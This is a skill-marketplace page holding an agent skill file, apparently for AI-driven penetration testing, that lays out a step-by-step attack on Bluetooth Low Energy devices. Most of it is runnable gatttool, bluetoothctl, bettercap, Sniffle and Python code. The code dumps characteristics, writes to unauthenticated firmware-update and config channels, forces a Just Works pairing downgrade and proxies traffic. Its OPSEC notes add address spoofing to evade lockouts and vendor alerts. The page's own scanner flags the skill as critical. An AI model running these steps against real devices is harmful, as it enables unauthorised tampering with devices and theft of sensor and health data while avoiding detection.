CtrlK
BlogDocsLog inGet started
Tessl Logo

ble-gatt

GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.

69

Quality

85%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

BLE GATT Enumeration and Exploitation

BLE devices routinely expose sensitive GATT characteristics without authentication or encryption. Common wins: OTA firmware update channels, PIN entry characteristics, device configuration, and health sensor data — all accessible to any central within radio range.

Prerequisites

  • Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE, or the eval board of the target SoC itself).
  • Tools: bluez (>=5.62), gatttool, bluetoothctl, hcitool, python3 -m pip install bleak (cross-platform async BLE library).
  • Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
    • firmware) or Ubertooth One.
  • Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.

Phase 1: Passive Discovery

# Identify advertising devices and their advertised UUIDs without connecting.
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt

# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"

Using bleak for a structured scan:

import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f"{d.address}  RSSI={d.rssi:4d}  {d.name or '<anon>'}  {list(d.metadata.get('uuids', []))}")

asyncio.run(scan())

Phase 2: Full GATT Enumeration (unauthenticated)

# Connect and dump all services/characteristics/descriptors.
# gatttool is deprecated but still widely available; use bleak for scripting.
gatttool -b <TARGET_MAC> -I
  > connect
  > primary          # list services by UUID
  > characteristics  # list handles, properties, UUIDs
  > char-desc        # dump all descriptors

# Or with hcitool + gatttool one-liner:
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics

Bleak full dump (preferred — handles BLE 5 extended):

import asyncio
from bleak import BleakClient

TARGET = "AA:BB:CC:DD:EE:FF"

async def dump_gatt():
    async with BleakClient(TARGET) as client:
        for svc in client.services:
            print(f"\nService: {svc.uuid}  ({svc.description})")
            for char in svc.characteristics:
                print(f"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}")
                if "read" in char.properties:
                    try:
                        val = await client.read_gatt_char(char.uuid)
                        print(f"    Value: {val.hex()}  ({val!r})")
                    except Exception as e:
                        print(f"    Read error: {e}")

asyncio.run(dump_gatt())

Phase 3: Unauthenticated Write / Command Injection

# Write a raw value to a characteristic handle (gatttool).
# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100

# Write to a writable characteristic by UUID (bleak):
async def write_char(client, uuid, payload: bytes):
    # Try write-with-response first; fall back to write-without-response.
    props = client.services.get_characteristic(uuid).properties
    if "write" in props:
        await client.write_gatt_char(uuid, payload, response=True)
    elif "write-without-response" in props:
        await client.write_gatt_char(uuid, payload, response=False)
    print(f"Wrote {payload.hex()} to {uuid}")

Common attack targets by characteristic UUID:

UUID (16-bit)DescriptionAttack
0x2A19Battery LevelRead, establish baseline
0x2A24Model NumberInfo disclosure
0x2A9DWeight ScaleSensor data w/o auth
Vendor 0xFF01-0xFF0FOTA / DFU channelWrite firmware image
Vendor 0xFFF1Generic configWrite arbitrary config

Phase 4: Pairing Downgrade — Just Works

Just Works pairing provides no MITM protection. Force it when the device advertises IO capabilities that allow stronger pairing (Passkey, OOB) but accepts a downgrade.

# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.
bluetoothctl
  agent NoInputNoOutput
  default-agent
  scan on
  pair <TARGET_MAC>   # pairing will complete with no key confirmation
  trust <TARGET_MAC>
  connect <TARGET_MAC>

After pairing, re-run GATT dump — some characteristics become readable only after bonding even when using Just Works.

MITM with Bettercap (BLE proxy)

# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.
sudo bettercap -eval "ble.recon on; events.stream on"
# Enumerate target:
sudo bettercap -eval "ble.enum <TARGET_MAC>"
# Write via bettercap:
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"

Phase 5: Passive Sniffing with Sniffle

# Flash Sniffle firmware to a TI CC26x2R LaunchPad.
# https://github.com/nccgroup/Sniffle

# Follow a specific device (37/38/39 advertisement channels, then data channel).
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap

# Open in Wireshark (BLE dissector built-in):
wireshark /tmp/ble_capture.pcap

Ubertooth One — broadband BLE capture (less channel-following accuracy):

ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap   # follow on adv channel 37
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap  # follow by address

Evidence

Save all GATT dumps and captures:

EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
# Dump GATT to JSON:
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"

Knowledge graph node for a found credential/key:

kg_add_node(
    kind="credential",
    label=f"BLE GATT unauthenticated access {target_mac}",
    props={
        "key": f"ble-gatt::{target_mac}",
        "secret_type": "ble_characteristic",
        "mac": target_mac,
        "characteristic_uuid": char_uuid,
        "raw_value": value_hex,
        "pairing_method": "just_works_or_none",
        "source": "bleak+gatttool",
    },
)

OPSEC Notes

  • BLE connection requests are logged by the peripheral's pairing database; repeated failed pairings may trigger a lockout or vendor alert.
  • Just Works pairing is visible to the peripheral; if it keeps a bond list, a stale address may flag re-pairing attempts.
  • Use bdaddr (hciconfig bdaddr spoof) or the adapter's random-address mode (hciconfig hci0 leadv 3) to rotate your BD_ADDR between attempts.
  • Sniffle is passive — zero RF footprint beyond receiving. Prefer it when the RoE explicitly prohibits active probing.
  • OTA/DFU channels: if you can write a firmware image, gate the test on explicit operator approval and a recovery plan (jtag/uart fallback) for the device.

References

  • Sniffle: https://github.com/nccgroup/Sniffle
  • bleak: https://github.com/hbldh/bleak
  • BTLE-Sniffer / GATTacker historical MITM reference.
  • nRF Connect mobile: fastest manual GATT browser for live engagement triage.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.